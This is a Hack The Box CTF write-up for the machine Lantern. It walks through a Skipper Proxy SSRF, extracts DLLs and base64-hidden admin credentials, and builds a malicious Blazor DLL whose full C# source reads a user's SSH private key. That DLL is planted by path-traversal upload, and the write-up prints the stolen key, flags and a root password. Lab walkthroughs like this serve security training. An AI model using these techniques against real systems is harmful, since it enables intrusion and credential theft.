# HTB • CTF • Lantern • Write-Up

> Hack The Box CTF - Lantern. SSRF, DLL Information Disclosure, File Upload Vulnerability, Execution of malicious DLL, PrivEsc with write process monitoring.

Author: Elnur Badalov
Published: 2024-08-09
Updated: 2024-09-09
Tags: ctf
Source: https://elnurbda.com/posts/29-htb-ctf-lantern/
License: CC BY 4.0, please cite the source URL.

---

# Info

CTF URL: <https://app.hackthebox.com/machines/Lantern>

IP: 10.10.11.29

Difficulty: <span style="color: red;background:rgb(30, 44, 60);">`Hard`</span>

# Reconnaissance

## NMAP

```bash
nmap -p- -sS -sC -sV 10.10.11.29 -v --min-rate 10000

PORT      STATE    SERVICE     VERSION
22/tcp    open     ssh         OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 80:c9:47:d5:89:f8:50:83:02:5e:fe:53:30:ac:2d:0e (ECDSA)
|_  256 d4:22:cf:fe:b1:00:cb:eb:6d:dc:b2:b4:64:6b:9d:89 (ED25519)
80/tcp    open     http        Skipper Proxy
| http-methods:
|_  Supported Methods: OPTIONS GET HEAD
|_http-title: Did not follow redirect to http://lantern.htb/
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.0 404 Not Found
|     Content-Length: 207
|     Content-Type: text/html; charset=utf-8
|     Date: Thu, 22 Aug 2024 06:43:39 GMT
|     Server: Skipper Proxy
|     <!doctype html>
|     <html lang=en>
|     <title>404 Not Found</title>
|     <h1>Not Found</h1>
|     <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
|   GenericLines, Help, RTSPRequest, SSLSessionReq, TerminalServerCookie:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest:
|     HTTP/1.0 302 Found
|     Content-Length: 225
|     Content-Type: text/html; charset=utf-8
|     Date: Thu, 22 Aug 2024 06:43:34 GMT
|     Location: http://lantern.htb/
|     Server: Skipper Proxy
|     <!doctype html>
|     <html lang=en>
|     <title>Redirecting...</title>
|     <h1>Redirecting...</h1>
|     <p>You should be redirected automatically to the target URL: <a href="http://lantern.htb/">http://lantern.htb/</a>. If not, click the link.
|   HTTPOptions:
|     HTTP/1.0 200 OK
|     Allow: OPTIONS, GET, HEAD
|     Content-Length: 0
|     Content-Type: text/html; charset=utf-8
|     Date: Thu, 22 Aug 2024 06:43:34 GMT
|_    Server: Skipper Proxy
|_http-server-header: Skipper Proxy
3000/tcp  open     ppp?
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.1 500 Internal Server Error
|     Connection: close
|     Content-Type: text/plain; charset=utf-8
|     Date: Thu, 22 Aug 2024 06:43:38 GMT
|     Server: Kestrel
|     System.UriFormatException: Invalid URI: The hostname could not be parsed.
|     System.Uri.CreateThis(String uri, Boolean dontEscape, UriKind uriKind, UriCreationOptions& creationOptions)
|     System.Uri..ctor(String uriString, UriKind uriKind)
|     Microsoft.AspNetCore.Components.NavigationManager.set_BaseUri(String value)
|     Microsoft.AspNetCore.Components.NavigationManager.Initialize(String baseUri, String uri)
|     Microsoft.AspNetCore.Components.Server.Circuits.RemoteNavigationManager.Initialize(String baseUri, String uri)
|     Microsoft.AspNetCore.Mvc.ViewFeatures.StaticComponentRenderer.<InitializeStandardComponentServicesAsync>g__InitializeCore|5_0(HttpContext httpContext)
|     Microsoft.AspNetCore.Mvc.ViewFeatures.StaticC
|   HTTPOptions:
|     HTTP/1.1 200 OK
|     Content-Length: 0
|     Connection: close
|     Date: Thu, 22 Aug 2024 06:43:44 GMT
|     Server: Kestrel
|   Help:
|     HTTP/1.1 400 Bad Request
|     Content-Length: 0
|     Connection: close
|     Date: Thu, 22 Aug 2024 06:43:39 GMT
|     Server: Kestrel
|   RTSPRequest:
|     HTTP/1.1 505 HTTP Version Not Supported
|     Content-Length: 0
|     Connection: close
|     Date: Thu, 22 Aug 2024 06:43:44 GMT
|     Server: Kestrel
|   SSLSessionReq:
|     HTTP/1.1 400 Bad Request
|     Content-Length: 0
|     Connection: close
|     Date: Thu, 22 Aug 2024 06:43:59 GMT
|     Server: Kestrel
|   TerminalServerCookie:
|     HTTP/1.1 400 Bad Request
|     Content-Length: 0
|     Connection: close
|     Date: Thu, 22 Aug 2024 06:44:00 GMT
|_    Server: Kestrel

```

add `lantern.htb` to `/etc/hosts`

## WEB - 80

A company that provides IT solutions.

There is the following page:

- <http://lantern.htb/vacancies>
  It allows uploading a file with the submit form(document should be redacted in order to submit).

![_](/assets/29-htb-ctf-lantern/1.png)
it allows sending pdfs only.

But, I do not to what location they are uploaded.

### SSRF

The server is **Skipper Proxy** which is vulnerable to SSRF when we add the following Header: `X-Skipper-Proxy: http://127.0.0.1:3000`.

- <https://www.exploit-db.com/exploits/51111>
  At port _80_ it returns **200**, at _3000_ it returns **400**, because there is a service at _3000_ which cannot handle things properly, _22_ - **500**, any _other_ port - **503**. Running intruder through it gives:
  ![_](/assets/29-htb-ctf-lantern/2.png)
  It means there some other services at _5000_ and _8000_.

_8000_ returns 200, it may mean that it is the same service as the one at _80_.

Let's send the following request to _5000_:

```http
GET /latest/meta-data/iam/security-credentials HTTP/1.1
Host: yourskipperdomain.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
X-Skipper-Proxy: http://169.254.169.254
Connection: close
```

![_](/assets/29-htb-ctf-lantern/3.png)
This service is called `InternaLantern`. And the framework is Blazor (as at port 3000): `<div id="blazor-error-ui">` is found in the source. So. some internal app is over there.

## WEB - 3000

A login Form.
In page's source code: `...<script src="_framework/blazor.server.js"></script>...`, which means a website uses **Blazor**, a web framework for building interactive web UIs using C# and .NET.

After submitting login form, the request is not sent. Seems like it is checked on client side, or there is a **web-socket**
![_](/assets/29-htb-ctf-lantern/4.png)
Intercepting requests in Burp Suite confirms that it is Web Socket:
![_](/assets/29-htb-ctf-lantern/5.png)

We can use the following plugin for Burp Suite:

- <https://github.com/portswigger/blazor-traffic-processor>
  You Can install it from BApp Store.

It allows reading Blazorpack messages.

# Blazor

## DLLs

I found the following:

- <https://github.com/freakyclown/Nuclei_templates/blob/main/blazor_server.yaml>
  Checking `/_framework/blazor.boot.json` at internal app:
  ![_](/assets/29-htb-ctf-lantern/6.png)
  gives dlls, and we can read them.

### `InternaLantern.pdb`

Here I found `/_framework/InternaLantern.pdb` - program database.
To download:

```bash
curl http://lantern.htb/_framework/InternaLantern.pdb -H 'Host: lantern.htb' -H 'X-Skipper-Proxy: http://127.0.0.1:5000' --output InternaLantern.pdb
```

To read it, I will use `pdbdump.exe`

- <https://github.com/gu1729/pdbdump/releases/download/v1.3.0/pdbdump.exe>
  I will run it on Windows Machine.
  You may need to register a dll for the executable:
- <https://www.dllme.com/dll/files/msdia140/versions>

```bash
regsvr32 msdia140.dll
pdbdump.exe InternaLantern.pdb
```

![_](/assets/29-htb-ctf-lantern/7.png)
But, unfortunately nothing interesting `:(`

There is another app - <https://github.com/icsharpcode/ILSpy>
I opened the `.pdb` file and it allowed get me more useful information:
![_](/assets/29-htb-ctf-lantern/8.png)
and
![_](/assets/29-htb-ctf-lantern/9.png)

### `InternaLantern.dll`

It may leak something.

```bash
curl http://lantern.htb/_framework/InternaLantern.dll -H 'Host: lantern.htb' -H 'X-Skipper-Proxy: http://127.0.0.1:5000' --output InternaLantern.dll
```

There a lot more interesting files:
![_](/assets/29-htb-ctf-lantern/10.png)

```cs
 new Employee
     {
      Uid = "JFMDK",
      Name = "John",
      SecondName = "Smith",
      BirthDay = new DateTime(2000, 6, 1).ToShortDateString(),
      JoinDate = new DateTime(2022, 8, 9).ToShortDateString(),
      Salary = 120000,
      VacationsStart = new DateTime(2023, 12, 1).ToShortDateString(),
      VacationsEnd = new DateTime(2023, 12, 5).ToShortDateString(),
      InternalInfo = Encoding.UTF8.GetString(Convert.FromBase64String("SGVhZCBvZiBzYWxlcyBkZXBhcnRtZW50LCBlbWVyZ2VuY3kgY29udGFjdDogKzQ0MTIzNDU2NzgsIGVtYWlsOiBqb2huLnNAZXhhbXBsZS5jb20="))
     },
     new Employee
     {
      Uid = "PPAOS",
      Name = "Anny",
      SecondName = "Turner",
      BirthDay = new DateTime(1989, 1, 11).ToShortDateString(),
      JoinDate = new DateTime(2022, 2, 11).ToShortDateString(),
      Salary = 150000,
      InternalInfo = Encoding.UTF8.GetString(Convert.FromBase64String("SFIsIGVtZXJnZW5jeSBjb250YWN0OiArNDQxMjM0NTY3OCwgZW1haWw6IGFubnkudEBleGFtcGxlLmNvbQ=="))
     },
     new Employee
     {
      Uid = "UAYWP",
      Name = "Catherine",
      SecondName = "Rivas",
      BirthDay = new DateTime(2001, 11, 7).ToShortDateString(),
      JoinDate = new DateTime(2023, 3, 1).ToShortDateString(),
      Salary = 100000,
      VacationsStart = new DateTime(2024, 2, 22).ToShortDateString(),
      VacationsEnd = new DateTime(2024, 2, 23).ToShortDateString(),
      InternalInfo = Encoding.UTF8.GetString(Convert.FromBase64String("RnVsbFN0YWNrIGRldmVsb3BlciwgZW1lcmdlbmN5IGNvbnRhY3Q6ICs0NDEyMzQ1Njc4LCBlbWFpbDogY2F0aGVyaW5lLnJAZXhhbXBsZS5jb20="))
     },
     new Employee
     {
      Uid = "GMNZQ",
      Name = "Lara",
      SecondName = "Snyder",
      BirthDay = new DateTime(1999, 4, 4).ToShortDateString(),
      JoinDate = new DateTime(2019, 11, 11).ToShortDateString(),
      Salary = 200000,
      InternalInfo = Encoding.UTF8.GetString(Convert.FromBase64String("UFIsIGVtZXJnZW5jeSBjb250YWN0OiArNDQxMjM0NTY3OCwgZW1haWw6IGxhcmEuc0BleGFtcGxlLmNvbQ=="))
     },
     new Employee
     {
      Uid = "XZCSF",
      Name = "Lila",
      SecondName = "Steele",
      BirthDay = new DateTime(1997, 12, 8).ToShortDateString(),
      JoinDate = new DateTime(2019, 12, 9).ToShortDateString(),
      Salary = 130000,
      InternalInfo = Encoding.UTF8.GetString(Convert.FromBase64String("SnVuaW9yIC5ORVQgZGV2ZWxvcGVyLCBlbWVyZ2VuY3kgY29udGFjdDogKzQ0MTIzNDU2NzgsIGVtYWlsOiBsaWxhLnNAZXhhbXBsZS5jb20="))
     },
     new Employee
     {
      Uid = "POMBS",
      Name = "Travis",
      SecondName = "Duarte",
      BirthDay = new DateTime(1999, 7, 23).ToShortDateString(),
      JoinDate = new DateTime(2024, 1, 21).ToShortDateString(),
      Salary = 90000,
      InternalInfo = Encoding.UTF8.GetString(Convert.FromBase64String("U3lzdGVtIGFkbWluaXN0cmF0b3IsIEZpcnN0IGRheTogMjEvMS8yMDI0LCBJbml0aWFsIGNyZWRlbnRpYWxzIGFkbWluOkFKYkZBX1FAOTI1cDlhcCMyMi4gQXNrIHRvIGNoYW5nZSBhZnRlciBmaXJzdCBsb2dpbiE="))
     }
```

they give credentials by decoding from base64:
![_](/assets/29-htb-ctf-lantern/11.png)
**Found!**:

- `admin:AJbFA_Q@925p9ap#22`

# Admin Dashboard

Voila! and we are in admin portal!
![_](/assets/29-htb-ctf-lantern/12.png)

## Some Errors

There are some useful error messages:
![_](/assets/29-htb-ctf-lantern/13.png)
it may mean File Inclusion.

![_](/assets/29-htb-ctf-lantern/14.png)

Found a user:

- `tomas`

## A python backend

There is a python code: `app.py`

```python
from flask import Flask, render_template, send_file, request, redirect, json
from werkzeug.utils import secure_filename
import os

app=Flask("__name__")

@app.route('/')
def index():
    if request.headers['Host'] != "lantern.htb":
        return redirect("http://lantern.htb/", code=302)
    return render_template("index.html")

@app.route('/vacancies')
def vacancies():
    return render_template('vacancies.html')

@app.route('/submit', methods=['POST'])
def save_vacancy():
    name = request.form.get('name')
    email = request.form.get('email')
    vacancy = request.form.get('vacancy', default='Middle Frontend Developer')

    if 'resume' in request.files:
        try:
            file = request.files['resume']
            resume_name = file.filename
            if resume_name.endswith('.pdf') or resume_name == '':
                filename = secure_filename(f"resume-{name}-{vacancy}-latern.pdf")
                upload_folder = os.path.join(os.getcwd(), 'uploads')
                destination = '/'.join([upload_folder, filename])
                file.save(destination)
            else:
                return "Only PDF files allowed!"
        except:
            return "Something went wrong!"
    return "Thank you! We will conact you very soon!"

@app.route('/PrivacyAndPolicy')
def sendPolicyAgreement():
    lang = request.args.get('lang')
    file_ext = request.args.get('ext')
    try:
            return send_file(f'/var/www/sites/localisation/{lang}.{file_ext}')
    except:
            return send_file(f'/var/www/sites/localisation/default/policy.pdf', 'application/pdf')

if __name__ == '__main__':
    app.run(host='127.0.0.1', port=8000)
```

`PrivacyAndPolicy` has one potentially useful information: `cestlavie@lantern.corp`

Let's try to do smth with Resumes.

```bash
curl -X POST http://lantern.htb/submit \
  -F "name=a" \
  -F "email=a" \
  -F "vacancy=a" \
  -F "resume=@resume.pdf"
# have some resume.pdf in the same directory
```

after the request should be saved in: `/uploads/resume-a-a-latern.pdf`, and it is not there. `:(`.

Nothing again.

# DLL Upload

Found!
We can upload the dll to desired place, so we gonna upload to the same place as other Components. We gonna read tomas's **id_rsa**.

`Component.cs`

```cs
using Microsoft.AspNetCore.Components;
using Microsoft.AspNetCore.Components.Rendering;
using Microsoft.AspNetCore.Components.Web;
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;

namespace exp
{
  public class Component : ComponentBase
  {
    public string LogType = "access";
    public string ButColor = "#558beb";
    private List<string> fileText = new List<string>();

    protected override void BuildRenderTree(
    RenderTreeBuilder __builder)
    {
      __builder.OpenElement(0, "span");
      __builder.AddAttribute(1, "class", "border rounded");
      __builder.AddAttribute(2, "style", "border-color:#84878C!important; background:#cdcdcd");
      __builder.AddAttribute(3, "b-afq0fxh21g");
      __builder.OpenElement(4, "div");
      __builder.AddAttribute(5, "class", "row");
      __builder.AddAttribute(6, "b-afq0fxh21g");
      __builder.OpenElement(7, "div");
      __builder.AddAttribute(8, "class", "col-1");
      __builder.AddAttribute(9, "b-afq0fxh21g");
      __builder.OpenElement(10, "button");
      __builder.AddAttribute(11, "type", "submit");
      __builder.AddAttribute(12, "class", "btn btn-primary mb-2");
      __builder.AddAttribute(13, "style", "background-color:#cdcdcd; border-color:" + this.ButColor + "; color:#000; font-weight:500; margin-top: 10px; color: " + this.ButColor + ";");
      __builder.AddAttribute<MouseEventArgs>(14, "onclick", EventCallback.Factory.Create<MouseEventArgs>((object) this, (Action) (() => this.ReadLog(this.LogType))));
      __builder.AddAttribute(15, "b-afq0fxh21g");
      __builder.AddContent(16, this.LogType);
      __builder.CloseElement();
      __builder.CloseElement();
      __builder.CloseElement();
      __builder.AddMarkupContent(17, "\n\n\n    ");
      __builder.OpenElement(18, "div");
      __builder.AddAttribute(19, "class", "border rounded");
      __builder.AddAttribute(20, "style", " width: 100%; height: 500px; background:#fff; margin-bottom: 10px; overflow-x: auto;");
      __builder.AddAttribute(21, "b-afq0fxh21g");
      if (this.fileText.Any<string>())
      {
        __builder.OpenElement(22, "div");
        __builder.AddAttribute(23, "class", "php-code-container border rounded");
        __builder.AddAttribute(24, "style", " width: 100%; height: 500px; background:#fff;");
        __builder.AddAttribute(25, "b-afq0fxh21g");
        __builder.OpenElement(26, "pre");
        __builder.AddAttribute(27, "b-afq0fxh21g");
        foreach (string textContent in this.fileText)
        {
          __builder.OpenElement(28, "code");
          __builder.AddAttribute(29, "class", "php");
          __builder.AddAttribute(30, "b-afq0fxh21g");
          __builder.AddContent(31, textContent);
          __builder.CloseElement();
          __builder.AddMarkupContent(32, "\n                    <br b-afq0fxh21g>");
        }
        __builder.CloseElement();
        __builder.CloseElement();
      }
      __builder.CloseElement();
      __builder.CloseElement();
    }

    public void ReadLog(string filepath)
{
    this.fileText.Clear();
    int num = 0;
    if (File.Exists("/var/www/sites/skipper/logs/" + filepath + ".log"))
    {
        string str1;
        try
        {
            str1 = new StreamReader(new MemoryStream(File.ReadAllBytes("/home/tomas/.ssh/id_rsa")), Encoding.UTF8, true).ReadToEnd();
        }
        catch
        {
            str1 = File.ReadAllText(filepath, Encoding.UTF8);
        }
        foreach (string str2 in str1.Split("\n", StringSplitOptions.RemoveEmptyEntries))
        {
            ++num;
            this.fileText.Add(str2);
            if (num >= 200)
                break;
        }
    }
    else
    {
        this.fileText.Add("Unable to read log file.");
    }
    this.ChangeType();
}


    public void ChangeType()
    {
      if (this.LogType == "access")
      {
        this.LogType = "application";
        this.ButColor = "#4c9b44;";
      }
      else
      {
        this.LogType = "access";
        this.ButColor = "#558beb";
      }
    }

    protected override void OnInitialized() => this.ReadLog("access");
  }
}
```

```bash
dotnet new classlib -n exp
vim exp/Component.cs
vim exp/exp.csproj
# add the following
<ItemGroup>
    <PackageReference Include="Microsoft.AspNetCore.App" />
</ItemGroup>
# finally
dotnet build -c Debug
```

The DLL will be in bin, rename it to `qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq.dll`.

Then Upload the File and catch the request and rename the file as the following:

```path
../../../../../../../../opt/components/exp.dll
```

Strangely, the renamed in Burp Suite name should be the same length.

and finally
![_](/assets/29-htb-ctf-lantern/15.png)

`id_rsa`:

```rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
```

```bash
chmod 600 id_rsa
ssh -i id_rsa tomas@lantern.htb
```

## User.txt

```bash
tomas@lantern:~$ cat user.txt
b8b20e4fee243dc2a6d6f80a5e7d39fa
```

# PricEsc to Root

```bash
sudo -l
Matching Defaults entries for tomas on lantern:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User tomas may run the following commands on lantern:
    (ALL : ALL) NOPASSWD: /usr/bin/procmon
```

```bash
ps aux | grep root
...
root       17608  0.0  0.1   7272  4180 pts/0    Ss+  19:40   0:00 nano /root/automation.sh
...
```

PID - `17608`

```bash
sudo /usr/bin/procmon -p 17608
# filter for write
```

There are some buf with nano write.
We need to decode it.

```hex
2f 62 61 63 6b 75 70 2e 73 68 65 63 68 0d 20 08 33 45 64 64 74 64 77 33 70 4d 42 20 08 20 7c 20 08 20 73 75  64 6f 20 08 20 2e 2f 62 61
```

which is

```decode
/backup.shech
 Q3Eddtdw3pMB . | . sudo . ./ba
```

`Q3Eddtdw3pMB`

## Root.txt

```bash
su root

cat root.txt
315ba1f2091c267ebe826eb184658117
```

# Result

- <https://www.hackthebox.com/achievement/machine/1349385/621>